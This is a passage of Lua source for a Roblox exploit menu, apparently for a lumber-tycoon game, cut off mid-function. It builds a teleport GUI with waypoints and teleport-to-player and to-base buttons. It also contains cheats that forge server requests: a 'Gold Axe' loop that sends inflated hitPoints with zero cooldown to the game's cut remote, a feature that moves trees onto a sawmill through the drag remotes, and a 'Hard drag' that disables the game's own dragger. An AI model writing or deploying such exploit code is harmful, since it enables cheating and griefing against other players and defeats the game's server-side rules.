- local FrostTreeArea = Instance.new("TextButton")
- local SnowGlowTreeArea = Instance.new("TextButton")
- local ShowLocation = Instance.new("TextButton")
- local CustomTPPoint = Instance.new("TextButton")
- local Teleport = Instance.new("ImageButton")
- local WayPoints = {
- ["Wood R Us"] = Vector3.new(265, 3, 57),
- ["SpawnPoint"] = Vector3.new(155, 3, 74),
- ["Land Store"] = Vector3.new(258, 3, -99),
- ["Link's Logic"] = Vector3.new(4607, 7.5, -798),
- ["Cave"] = Vector3.new(3581, -179, 430),
- ["Volcano"] = Vector3.new(-1585, 622, 1140),
- ["Swamp"] = Vector3.new(-1209, 132, -801),
- ["Palm Island"] = Vector3.new(2549, -5, -42),
- ["Fancy Furnishings"] = Vector3.new(491, 3, -1720),
- ["Boxed Cars"] = Vector3.new(509, 5.2, -1463),
- ["Fine Arts Shop"] = Vector3.new(5207, -166, 719),
- ["Bob's Shack"] = Vector3.new(260, 8, -2542),
- ["Strange Man"] = Vector3.new(1061, 16, 1131),
- ["Dock"] = CFrame.new(1114, 3.2, -197),
- ["Bridge"] = CFrame.new(113, 15, -977),
- ["End Times"] = CFrame.new(113, -204, -951),
- ["Shrine Of Sight"] = CFrame.new(-1600, 205, 919),
- ["The Den"] = CFrame.new(323, 49, 1930),
- ["Volcano Win"] = CFrame.new(-1675, 358, 1476),
- ["Ski Lodge"] = CFrame.new(1244, 66, 2306),
- ["Frost Tree"] = CFrame.new(1448.3, 413, 3185.2),
- ["SnowGlow Tree"] = CFrame.new(-1105.9, -6, -894)
- }
- Teleport.Name = "Teleport"
- Teleport.Parent = Picker
- Teleport.BackgroundColor3 = Color3.new(1, 1, 1)
- Teleport.BorderColor3 = Color3.new(0, 0, 0)
- Teleport.Position = UDim2.new(0, 15, 0,90)
- Teleport.Size = UDim2.new(0, 80, 0, 80)
- Teleport.ZIndex = 3
- Teleport.Image = "rbxassetid://3891269399"
- Teleport.ScaleType = Enum.ScaleType.Crop
- Teleport.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = true
- AIntroImage1.Visible = true
- end)
- Waypoints.Name = "Waypoints"
- Waypoints.Parent = MenuFrame
- Waypoints.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- Waypoints.BorderColor3 = Color3.new(0, 0, 0)
- Waypoints.Size = UDim2.new(0, 170, 0, 290)
- Waypoints.CanvasPosition = Vector2.new(0,0)
- Waypoints.CanvasSize = UDim2.new(0, 0, 0, 640)
- Waypoints.Visible = false
- Stranger.Name = "Stranger"
- Stranger.Parent = Waypoints
- Stranger.BackgroundColor3 = Color3.new(0, 0, 0)
- Stranger.Position = UDim2.new(0, 5, 0, 330)
- Stranger.Size = UDim2.new(0, 148, 0, 20)
- Stranger.Font = Enum.Font.Fantasy
- Stranger.FontSize = Enum.FontSize.Size18
- Stranger.Text = "Stranger"
- Stranger.TextColor3 = Color3.fromRGB(255, 0, 0)
- Stranger.TextSize = 16
- Stranger.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Strange Man"])
- end)
- BobsShack.Name = "BobsShack"
- BobsShack.Parent = Waypoints
- BobsShack.BackgroundColor3 = Color3.new(0, 0, 0)
- BobsShack.Position = UDim2.new(0, 5, 0, 155)
- BobsShack.Size = UDim2.new(0, 148, 0, 20)
- BobsShack.Font = Enum.Font.Fantasy
- BobsShack.FontSize = Enum.FontSize.Size18
- BobsShack.Text = "Bob's Shack"
- BobsShack.TextColor3 = Color3.fromRGB(255, 0, 0)
- BobsShack.TextSize = 16
- BobsShack.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Bob's Shack"])
- end)
- PlotTp.Name = "PlotTp"
- PlotTp.Parent = Waypoints
- PlotTp.BackgroundColor3 = Color3.new(0, 0, 0)
- PlotTp.Position = UDim2.new(0, 5, 0, 30)
- PlotTp.Size = UDim2.new(0, 148, 0, 20)
- PlotTp.Font = Enum.Font.Fantasy
- PlotTp.FontSize = Enum.FontSize.Size18
- PlotTp.Text = "Tp to Plot"
- PlotTp.TextColor3 = Color3.fromRGB(255, 0, 0)
- PlotTp.TextSize = 16
- PlotTp.MouseButton1Down:connect(function()
- for i,v in pairs(game.Workspace.Properties:GetChildren()) do
- if v.Owner.Value == game.Players.LocalPlayer then
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.OriginSquare.CFrame + Vector3.new(0,10,0)
- end
- end
- end)
- BoxedCars.Name = "BoxedCars"
- BoxedCars.Parent = Waypoints
- BoxedCars.BackgroundColor3 = Color3.new(0, 0, 0)
- BoxedCars.Position = UDim2.new(0, 5, 0, 130)
- BoxedCars.Size = UDim2.new(0, 148, 0, 20)
- BoxedCars.Font = Enum.Font.Fantasy
- BoxedCars.FontSize = Enum.FontSize.Size18
- BoxedCars.Text = "Boxed Cars"
- BoxedCars.TextColor3 = Color3.fromRGB(255, 0, 0)
- BoxedCars.TextSize = 16
- BoxedCars.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Boxed Cars"])
- end)
- Cave.Name = "Cave"
- Cave.Parent = Waypoints
- Cave.BackgroundColor3 = Color3.new(0, 0, 0)
- Cave.Position = UDim2.new(0, 5, 0, 230)
- Cave.Size = UDim2.new(0, 148, 0, 20)
- Cave.Font = Enum.Font.Fantasy
- Cave.FontSize = Enum.FontSize.Size18
- Cave.Text = "Cave"
- Cave.TextColor3 = Color3.new(255, 0, 0)
- Cave.TextSize = 16
- Cave.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Cave"])
- end)
- FancyFurnishings.Name = "FancyFurnishings"
- FancyFurnishings.Parent = Waypoints
- FancyFurnishings.BackgroundColor3 = Color3.new(0, 0, 0)
- FancyFurnishings.Position = UDim2.new(0, 5, 0, 80)
- FancyFurnishings.Size = UDim2.new(0, 148, 0, 20)
- FancyFurnishings.Font = Enum.Font.Fantasy
- FancyFurnishings.FontSize = Enum.FontSize.Size18
- FancyFurnishings.Text = "Fancy Furnishings"
- FancyFurnishings.TextColor3 = Color3.new(255, 0, 0)
- FancyFurnishings.TextSize = 16
- FancyFurnishings.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Fancy Furnishings"])
- end)
- FineArtsShop.Name = "FineArtsShop"
- FineArtsShop.Parent = Waypoints
- FineArtsShop.BackgroundColor3 = Color3.new(0, 0, 0)
- FineArtsShop.Position = UDim2.new(0, 5, 0, 180)
- FineArtsShop.Size = UDim2.new(0, 148, 0, 20)
- FineArtsShop.Font = Enum.Font.Fantasy
- FineArtsShop.FontSize = Enum.FontSize.Size18
- FineArtsShop.Text = "Fine Arts Shop"
- FineArtsShop.TextColor3 = Color3.new(255, 0, 0)
- FineArtsShop.TextSize = 16
- FineArtsShop.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Fine Arts Shop"])
- end)
- LandStore.Name = "LandStore"
- LandStore.Parent = Waypoints
- LandStore.BackgroundColor3 = Color3.new(0, 0, 0)
- LandStore.Position = UDim2.new(0, 5, 0, 205)
- LandStore.Size = UDim2.new(0, 148, 0, 20)
- LandStore.Font = Enum.Font.Fantasy
- LandStore.FontSize = Enum.FontSize.Size18
- LandStore.Text = "Land Store"
- LandStore.TextColor3 = Color3.new(255, 0, 0)
- LandStore.TextSize = 16
- LandStore.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Land Store"])
- end)
- LinksLogic.Name = "LinksLogic"
- LinksLogic.Parent = Waypoints
- LinksLogic.BackgroundColor3 = Color3.new(0, 0, 0)
- LinksLogic.Position = UDim2.new(0, 5, 0, 105)
- LinksLogic.Size = UDim2.new(0, 148, 0, 20)
- LinksLogic.Font = Enum.Font.Fantasy
- LinksLogic.FontSize = Enum.FontSize.Size18
- LinksLogic.Text = "Link's Logic"
- LinksLogic.TextColor3 = Color3.new(255, 0, 0)
- LinksLogic.TextSize = 16
- LinksLogic.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Link's Logic"])
- end)
- PalmIsland.Name = "PalmIsland"
- PalmIsland.Parent = Waypoints
- PalmIsland.BackgroundColor3 = Color3.new(0, 0, 0)
- PalmIsland.Position = UDim2.new(0, 5, 0, 305)
- PalmIsland.Size = UDim2.new(0, 148, 0, 20)
- PalmIsland.Font = Enum.Font.Fantasy
- PalmIsland.FontSize = Enum.FontSize.Size18
- PalmIsland.Text = "Palm Island"
- PalmIsland.TextColor3 = Color3.new(255, 0, 0)
- PalmIsland.TextSize = 16
- PalmIsland.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Palm Island"])
- end)
- SpawnPoint.Name = "SpawnPoint"
- SpawnPoint.Parent = Waypoints
- SpawnPoint.BackgroundColor3 = Color3.new(0, 0, 0)
- SpawnPoint.Position = UDim2.new(0, 5, 0, 5)
- SpawnPoint.Size = UDim2.new(0, 148, 0, 20)
- SpawnPoint.Font = Enum.Font.Fantasy
- SpawnPoint.FontSize = Enum.FontSize.Size18
- SpawnPoint.Text = "Spawn"
- SpawnPoint.TextColor3 = Color3.new(255, 0, 0)
- SpawnPoint.TextSize = 16
- SpawnPoint.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["SpawnPoint"])
- end)
- Swamp.Name = "Swamp"
- Swamp.Parent = Waypoints
- Swamp.BackgroundColor3 = Color3.new(0, 0, 0)
- Swamp.Position = UDim2.new(0, 5, 0, 280)
- Swamp.Size = UDim2.new(0, 148, 0, 20)
- Swamp.Font = Enum.Font.Fantasy
- Swamp.FontSize = Enum.FontSize.Size18
- Swamp.Text = "Swamp"
- Swamp.TextColor3 = Color3.new(255, 0, 0)
- Swamp.TextSize = 16
- Swamp.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Swamp"])
- end)
- Volcano.Name = "Volcano"
- Volcano.Parent = Waypoints
- Volcano.BackgroundColor3 = Color3.new(0, 0, 0)
- Volcano.Position = UDim2.new(0, 5, 0, 255)
- Volcano.Size = UDim2.new(0, 148, 0, 20)
- Volcano.Font = Enum.Font.Fantasy
- Volcano.FontSize = Enum.FontSize.Size18
- Volcano.Text = "Volcano"
- Volcano.TextColor3 = Color3.new(255, 0, 0)
- Volcano.TextSize = 16
- Volcano.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Volcano"])
- end)
- WoodRUs.Name = "blueprints"
- WoodRUs.Parent = Waypoints
- WoodRUs.BackgroundColor3 = Color3.new(0, 0, 0)
- WoodRUs.Position = UDim2.new(0, 5, 0, 55)
- WoodRUs.Size = UDim2.new(0, 148, 0, 20)
- WoodRUs.Font = Enum.Font.Fantasy
- WoodRUs.FontSize = Enum.FontSize.Size18
- WoodRUs.Text = "Wood R Us"
- WoodRUs.TextColor3 = Color3.new(255, 0, 0)
- WoodRUs.TextSize = 16
- WoodRUs.MouseButton1Down:connect(function()
- game.Players.LocalPlayer.Character:MoveTo(WayPoints["Wood R Us"])
- end)
- Dock.Name = "Dock"
- Dock.Parent = Waypoints
- Dock.BackgroundColor3 = Color3.new(0, 0, 0)
- Dock.Position = UDim2.new(0, 5, 0, 355)
- Dock.Size = UDim2.new(0, 148, 0, 20)
- Dock.Font = Enum.Font.Fantasy
- Dock.FontSize = Enum.FontSize.Size18
- Dock.Text = "Dock"
- Dock.TextColor3 = Color3.new(255, 0, 0)
- Dock.TextSize = 16
- Dock.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["Dock"]
- end)
- Bridge.Name = "Bridge"
- Bridge.Parent = Waypoints
- Bridge.BackgroundColor3 = Color3.new(0, 0, 0)
- Bridge.Position = UDim2.new(0, 5, 0, 380)
- Bridge.Size = UDim2.new(0, 148, 0, 20)
- Bridge.Font = Enum.Font.Fantasy
- Bridge.FontSize = Enum.FontSize.Size18
- Bridge.Text = "Bridge"
- Bridge.TextColor3 = Color3.new(255, 0, 0)
- Bridge.TextSize = 16
- Bridge.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["Bridge"]
- end)
- EndTimes.Name = "EndTimes"
- EndTimes.Parent = Waypoints
- EndTimes.BackgroundColor3 = Color3.new(0, 0, 0)
- EndTimes.Position = UDim2.new(0, 5, 0, 405)
- EndTimes.Size = UDim2.new(0, 148, 0, 20)
- EndTimes.Font = Enum.Font.Fantasy
- EndTimes.FontSize = Enum.FontSize.Size18
- EndTimes.Text = "End Times"
- EndTimes.TextColor3 = Color3.new(255, 0, 0)
- EndTimes.TextSize = 16
- EndTimes.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["End Times"]
- end)
- ShrineOfSight.Name = "ShrineOfSight"
- ShrineOfSight.Parent = Waypoints
- ShrineOfSight.BackgroundColor3 = Color3.new(0, 0, 0)
- ShrineOfSight.Position = UDim2.new(0, 5, 0, 430)
- ShrineOfSight.Size = UDim2.new(0, 148, 0, 20)
- ShrineOfSight.Font = Enum.Font.Fantasy
- ShrineOfSight.FontSize = Enum.FontSize.Size18
- ShrineOfSight.Text = "Shrine Of Sight"
- ShrineOfSight.TextColor3 = Color3.new(255, 0, 0)
- ShrineOfSight.TextSize = 16
- ShrineOfSight.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["Shrine Of Sight"]
- end)
- TheDen.Name = "TheDen"
- TheDen.Parent = Waypoints
- TheDen.BackgroundColor3 = Color3.new(0, 0, 0)
- TheDen.Position = UDim2.new(0, 5, 0, 455)
- TheDen.Size = UDim2.new(0, 148, 0, 20)
- TheDen.Font = Enum.Font.Fantasy
- TheDen.FontSize = Enum.FontSize.Size18
- TheDen.Text = "The Den"
- TheDen.TextColor3 = Color3.new(255, 0, 0)
- TheDen.TextSize = 16
- TheDen.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["The Den"]
- end)
- VolcanoWin.Name = "VolcanoWin"
- VolcanoWin.Parent = Waypoints
- VolcanoWin.BackgroundColor3 = Color3.new(0, 0, 0)
- VolcanoWin.Position = UDim2.new(0, 5, 0, 480)
- VolcanoWin.Size = UDim2.new(0, 148, 0, 20)
- VolcanoWin.Font = Enum.Font.Fantasy
- VolcanoWin.FontSize = Enum.FontSize.Size18
- VolcanoWin.Text = "Volcano Win"
- VolcanoWin.TextColor3 = Color3.new(255, 0, 0)
- VolcanoWin.TextSize = 16
- VolcanoWin.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["Volcano Win"]
- end)
- SkiLodge.Name = "Ski Lodge"
- SkiLodge.Parent = Waypoints
- SkiLodge.BackgroundColor3 = Color3.new(0, 0, 0)
- SkiLodge.Position = UDim2.new(0, 5, 0, 505)
- SkiLodge.Size = UDim2.new(0, 148, 0, 20)
- SkiLodge.Font = Enum.Font.Fantasy
- SkiLodge.FontSize = Enum.FontSize.Size18
- SkiLodge.Text = "Ski Lodge"
- SkiLodge.TextColor3 = Color3.new(255, 0, 0)
- SkiLodge.TextSize = 16
- SkiLodge.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["Ski Lodge"]
- end)
- FrostTreeArea.Name = "FrostTreeArea"
- FrostTreeArea.Parent = Waypoints
- FrostTreeArea.BackgroundColor3 = Color3.new(0, 0, 0)
- FrostTreeArea.Position = UDim2.new(0, 5, 0, 530)
- FrostTreeArea.Size = UDim2.new(0, 148, 0, 20)
- FrostTreeArea.Font = Enum.Font.Fantasy
- FrostTreeArea.FontSize = Enum.FontSize.Size18
- FrostTreeArea.Text = "Frost Tree Area"
- FrostTreeArea.TextColor3 = Color3.new(255, 0, 0)
- FrostTreeArea.TextSize = 16
- FrostTreeArea.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["Frost Tree"]
- end)
- SnowGlowTreeArea.Name = "SnowGlowTreeArea"
- SnowGlowTreeArea.Parent = Waypoints
- SnowGlowTreeArea.BackgroundColor3 = Color3.new(0, 0, 0)
- SnowGlowTreeArea.Position = UDim2.new(0, 5, 0, 555)
- SnowGlowTreeArea.Size = UDim2.new(0, 148, 0, 20)
- SnowGlowTreeArea.Font = Enum.Font.Fantasy
- SnowGlowTreeArea.FontSize = Enum.FontSize.Size18
- SnowGlowTreeArea.Text = "SnowGlow Area"
- SnowGlowTreeArea.TextColor3 = Color3.new(255, 0, 0)
- SnowGlowTreeArea.TextSize = 16
- SnowGlowTreeArea.MouseButton1Down:connect(function()
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = WayPoints["SnowGlow Tree"]
- end)
- ShowLocation.Name = "ShowLocation"
- ShowLocation.Parent = Waypoints
- ShowLocation.BackgroundColor3 = Color3.new(0, 0, 0)
- ShowLocation.Position = UDim2.new(0, 5, 0, 580)
- ShowLocation.Size = UDim2.new(0, 148, 0, 30)
- ShowLocation.Font = Enum.Font.Fantasy
- ShowLocation.FontSize = Enum.FontSize.Size14
- ShowLocation.Text = "Show Current Coords\nSet Custom Location"
- ShowLocation.TextColor3 = Color3.new(255, 0, 0)
- ShowLocation.TextSize = 13
- CustomTPPoint.Name = "CustomTPPoint"
- CustomTPPoint.Parent = Waypoints
- CustomTPPoint.BackgroundColor3 = Color3.new(0, 0, 0)
- CustomTPPoint.Position = UDim2.new(0, 5, 0, 615)
- CustomTPPoint.Size = UDim2.new(0, 148, 0, 20)
- CustomTPPoint.Font = Enum.Font.Fantasy
- CustomTPPoint.FontSize = Enum.FontSize.Size14
- CustomTPPoint.Text = "TP to Custom Location"
- CustomTPPoint.TextColor3 = Color3.new(255, 0, 0)
- CustomTPPoint.TextSize = 13
- -- Scripts:
- --- Show Current Location
- ShowLocation.MouseButton1Down:connect(function()
- function round(num, numDecimalPlaces)
- local mult = 10^(numDecimalPlaces or 0)
- return math.floor(num * mult + 0.5) / mult
- end
- LocationX = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.x, 1)
- LocationY = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.y, 1)
- LocationZ = round(game.Players.LocalPlayer.Character.HumanoidRootPart.Position.z, 1)
- ShowLocation.Text = "Current/Set Location\n"..LocationX..", "..LocationY..", "..LocationZ
- CustomTPPoint.Text = "TP to "..LocationX..", "..LocationY..", "..LocationZ
- CustomLocationSet = true
- end)
- --- TP to custom location ---
- CustomTPPoint.MouseButton1Down:connect(function()
- if CustomLocationSet == true then
- local uTorso = workspace:WaitForChild(game.Players.LocalPlayer.Name).HumanoidRootPart
- uTorso.CFrame = CFrame.new(LocationX, LocationY, LocationZ)
- end
- end)
- --- Player Tp ---
- local buttons = {
- Player1,
- Player2,
- Player3,
- Player4,
- Player5,
- Player6
- }
- spawn(function()
- while true do
- Player1.Text = ""
- Player2.Text = ""
- Player3.Text = ""
- Player4.Text = ""
- Player5.Text = ""
- Player6.Text = ""
- for i, v in pairs(game.Players:GetChildren()) do
- buttons[i].Text = v.Name
- buttons[i].Visible = true
- end
- wait(0.5)
- end
- end)
- Player1.MouseButton1Down:connect(function()
- PlyrSel.Text = Player1.Text
- end)
- Player2.MouseButton1Down:connect(function()
- PlyrSel.Text = Player2.Text
- end)
- Player3.MouseButton1Down:connect(function()
- PlyrSel.Text = Player3.Text
- end)
- Player4.MouseButton1Down:connect(function()
- PlyrSel.Text = Player4.Text
- end)
- Player5.MouseButton1Down:connect(function()
- PlyrSel.Text = Player5.Text
- end)
- Player6.MouseButton1Down:connect(function()
- PlyrSel.Text = Player6.Text
- end)
- TpPlayer.MouseButton1Down:connect(function()
- if PlyrSel.Text == "SELECT A PLAYER" then
- warn("No Player Selected")
- else
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = workspace[PlyrSel.Text].HumanoidRootPart.CFrame
- end
- end)
- TpBase.MouseButton1Down:connect(function()
- for i, v in pairs(game.Workspace.Properties:GetChildren()) do
- if v.Owner.Value == game.Players[PlyrSel.Text] then
- local p= CFrame.new(v.OriginSquare.CFrame.x, v.OriginSquare.CFrame.y +3.5, v.OriginSquare.CFrame.z)
- game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = p
- end
- end
- end)
- local WoodFrame = Instance.new("Frame")
- local Woodmenu = Instance.new("ImageButton")
- local SawmillTp = Instance.new("TextButton")
- Woodmenu.Name = "Woodmenu"
- Woodmenu.Parent = Picker
- Woodmenu.BackgroundColor3 = Color3.new(1, 1, 1)
- Woodmenu.BorderColor3 = Color3.new(0, 0, 0)
- Woodmenu.Position = UDim2.new(0, 15, 0,175)
- Woodmenu.Size = UDim2.new(0, 80, 0, 80)
- Woodmenu.ZIndex = 3
- Woodmenu.Image = "rbxassetid://3894370075"
- Woodmenu.ScaleType = Enum.ScaleType.Crop
- Woodmenu.MouseButton1Click:Connect(function()
- CurrentItem.Image = "rbxassetid://3886256996"
- AIntroImage.Visible = true
- AIntroImage1.Visible = true
- end)
- WoodFrame.Name = "WoodFrame"
- WoodFrame.Parent = MenuFrame
- WoodFrame.BorderSizePixel = 1
- WoodFrame.BackgroundTransparency = 0
- WoodFrame.BorderColor3 = Color3.new(0, 0, 0)
- WoodFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
- WoodFrame.Size = UDim2.new(0, 170, 0, 190)
- WoodFrame.Visible = false
- SawmillTp.Name = "SawmillTp"
- SawmillTp.Parent = WoodFrame
- SawmillTp.BackgroundColor3 = Color3.new(0, 0, 0)
- SawmillTp.BorderColor3 = Color3.new(0, 0, 0)
- SawmillTp.Position = UDim2.new(0, 3, 0, 3)
- SawmillTp.Size = UDim2.new(0, 165, 0, 20)
- SawmillTp.Font = Enum.Font.Fantasy
- SawmillTp.FontSize = Enum.FontSize.Size18
- SawmillTp.Text = "Wood to Saw"
- SawmillTp.TextColor3 = Color3.new(255, 0, 0)
- SawmillTp.TextSize = 15
- SawmillTp.MouseButton1Down:connect(function()
- SawmillTp.Text = "WOOD TO SAW ON"
- SawmillTp.TextColor3 = Color3.new(1, 1, 1)
- SawmillC = false
- Mouse = game.Players.LocalPlayer:GetMouse()
- Mouse.KeyDown:connect(function(key)
- if key:lower() == "q" then
- Treee = Mouse.Target
- end
- end)
- Mouse.KeyDown:connect(function(key)
- if key:lower() == "p" then
- if Mouse.Target.Parent:FindFirstChild("BlockageAlert") then
- Sawmill = Mouse.Target.Parent
- else
- Sawmill=Mouse.Target.Parent.Parent
- end
- if Sawmill:FindFirstChild("BlockageAlert") and Sawmill:FindFirstChild("Owner") then
- SawmillC = true
- else
- SawmillC = false
- print"Something went wrong while setting the sawmill!"
- end
- if Treee ~= nil then
- Mod(Treee)
- else
- print("Select tree with 'Q'!")
- end
- end
- end)
- function Mod(SelectedPart)
- if SawmillC ~= true then
- print'Set the sawmill with "P"!'
- return
- end
- if SelectedPart.Parent:FindFirstChild("TreeClass") and SelectedPart.Parent:FindFirstChild("Owner") then
- print("Tree: "..SelectedPart.Parent.TreeClass.Value)
- Tree = SelectedPart.Parent
- Tree.PrimaryPart = SelectedPart
- game.ReplicatedStorage.Interaction.Verify:FireServer('Item owned by player',Tree)
- Tree:SetPrimaryPartCFrame(Sawmill.Particles.CFrame)
- game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Tree)
- end
- end
- end)
- local Goldaxe = Instance.new("TextButton")
- Goldaxe.Name = "SawmillTp"
- Goldaxe.Parent = WoodFrame
- Goldaxe.BackgroundColor3 = Color3.new(0, 0, 0)
- Goldaxe.BorderColor3 = Color3.new(0, 0, 0)
- Goldaxe.Position = UDim2.new(0, 3, 0, 26)
- Goldaxe.Size = UDim2.new(0, 165, 0, 20)
- Goldaxe.Font = Enum.Font.Fantasy
- Goldaxe.FontSize = Enum.FontSize.Size18
- Goldaxe.Text = "Gold Axe"
- Goldaxe.TextColor3 = Color3.new(255, 0, 0)
- Goldaxe.TextSize = 15
- Goldaxe.MouseButton1Down:connect(function()
- Goldaxe.Text = "GOLDAXE ACTIVE"
- Goldaxe.TextColor3 = Color3.new(1, 1, 1)
- function GetAxe()
- if game.Players.LocalPlayer.Character:FindFirstChild("Tool") then
- return game.Players.LocalPlayer.Character:FindFirstChild("Tool")
- end
- end
- local HitPoints={
- ['GoldAxe']= 50;
- ['BasicHatchet']= 0.2;
- ['Axe1']= 0.55;
- ['Axe2']= 0.93;
- ['AxeAlphaTesters']= 1.5;
- ['Rukiryaxe']= 1.68;
- ['Axe3']= 1.45;
- ['AxeBetaTesters']= 1.45;
- ['FireAxe']= 0.6;
- ['SilverAxe']= 1.6;
- ['EndTimesAxe']= 10000000;
- ['AxeChicken']= 0.1;
- ['CandyCaneAxe']= 0;
- }
- local Pressing = false
- local mouse1 = game:GetService("Players").LocalPlayer:GetMouse()
- mouse1.Button1Down:connect(function(key)
- Pressing=true
- poop(GetAxe())
- end)
- local mouse1 = game:GetService("Players").LocalPlayer:GetMouse()
- mouse1.Button1Down:connect(function(key)
- Pressing=false
- end)
- function cut(Height,Tool)
- local Tree=game.Players.LocalPlayer:GetMouse().Target
- game.ReplicatedStorage.Interaction.RemoteProxy:FireServer(Tree.Parent.CutEvent,{
- ["cuttingClass"] = "Axe",
- ["cooldown"] = 0,
- ["hitPoints"] = HitPoints[Tool.ToolName.Value],
- ["sectionId"] = 1,
- ["tool"] = Tool,
- ["faceVector"] = Vector3.new(-1,0,0),
- ["height"] = Height})
- end
- function poop(Tool)
- while Pressing do
- for i=1,100 do
- wait()
- cut(_G.SIZE,Tool)
- cut(1,Tool)
- end
- end
- end
- end)
- local Harddrag = Instance.new("TextButton")
- Harddrag.Name = "Harddrag"
- Harddrag.Parent = WoodFrame
- Harddrag.BackgroundColor3 = Color3.new(0, 0, 0)
- Harddrag.BorderColor3 = Color3.new(0, 0, 0)
- Harddrag.Position = UDim2.new(0, 3, 0, 49)
- Harddrag.Size = UDim2.new(0, 165, 0, 20)
- Harddrag.Font = Enum.Font.Fantasy
- Harddrag.FontSize = Enum.FontSize.Size18
- Harddrag.Text = "Hard drag"
- Harddrag.TextColor3 = Color3.new(255, 0, 0)
- Harddrag.TextSize = 15
- Harddrag.MouseButton1Down:connect(function()
- Harddrag.Text = "HARD DRAG ACTIVE"
- Harddrag.TextColor3 = Color3.new(1, 1, 1)
- local player = game.Players.LocalPlayer
- local Character = player.Character or player.CharacterAdded:wait()
- local Humanoid = Character:WaitForChild("Humanoid")
- local walkSpeed = Humanoid.WalkSpeed
- game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Disabled = true
- _G.dragRangeMin = 5
- fivefour = coroutine.wrap(function()
- EKey = false
- QKey = false
- player:GetMouse().KeyDown:connect(function(key)
- if string.lower(key) == "e" then
- EKey = true
- elseif string.lower(key) == "q" then
- QKey = true
- end
- end)
- player:GetMouse().KeyUp:connect(function(key)
- if string.lower(key) == "e" then
- EKey = false
- elseif string.lower(key) == "q" then
- QKey = false
- end
- end)
- while wait(0.1) do
- if EKey then
- F = FVal
- FVal = FVal + 1000
- ChangeForce(F+1000)
- print(F)
- end
- if QKey then
- F = FVal
- FVal = FVal - 1000
- ChangeForce(F-1000)
- print(F)
- end
- end
- end)
- fivefour()
- local dragPart = Instance.new("Part",game.Players.LocalPlayer.PlayerGui)--game.Players.LocalPlayer.PlayerGui.ItemDraggingGUI.Dragger.Dragger
- dragPart.Size = Vector3.new(0.2,0.2,0.2)
- dragPart.BrickColor = BrickColor.new("Really red")
- player.CharacterAdded:connect(function()
- Character = player.Character
- Humanoid = Character:WaitForChild("Humanoid")
- Humanoid.Died:connect(function()
- dragPart.Parent = nil
- end)
- end)
- wait(1)
- local dragRangeMax = 10000
- local dragRangeMin = _G.dragRangeMin
- local camera = workspace.CurrentCamera
- local mouse = player:GetMouse()
- local button1Down = false
- local dragRange = dragRangeMax
- FVal = 80000
- local bodyPosition = Instance.new("BodyPosition", dragPart)
- bodyPosition.maxForce = Vector3.new(1, 1, 1) * FVal
- bodyPosition.D = 1000
- bodyPosition.P = 4000
- function ChangeForce(F)
- if F > 0 then
- F = bodyPosition.maxForce.X+F
- bodyPosition.maxForce = Vector3.new(1, 1, 1) * F
- else
- F = bodyPosition.maxForce.X-F
- bodyPosition.maxForce = Vector3.new(1, 1, 1) * F
- end
- end
- local bodyGyro = Instance.new("BodyGyro", dragPart)
- bodyGyro.maxTorque = Vector3.new(1, 1, 1) * 200 --4000 -- * 0.000012
- bodyGyro.P = 1200
- bodyGyro.D = 140 --15
- --bodyPosition.P = bodyPosition.P * 1/19
- --bodyPosition.D = bodyPosition.D * 1/19
- --bodyGyro.P = bodyGyro.P * 1/19
- --bodyGyro.D = bodyGyro.D * 1/19
- local rotateCFrame = CFrame.new()
- local weld = Instance.new("Weld", dragPart)
- --local interactPermission = require(game.ReplicatedStorage.Interaction.InteractionPermission)
- local clientIsDragging = game.ReplicatedStorage.Interaction.ClientIsDragging
- local carryAnimationTrack
- --------------------------------[[ Drag Main ]]------------------------------------
- local draggingPart = false
- function click()
- button1Down = true
- local targetObject = game.Players.LocalPlayer:GetMouse().Target
- if not canDrag(targetObject) then
- return
- end
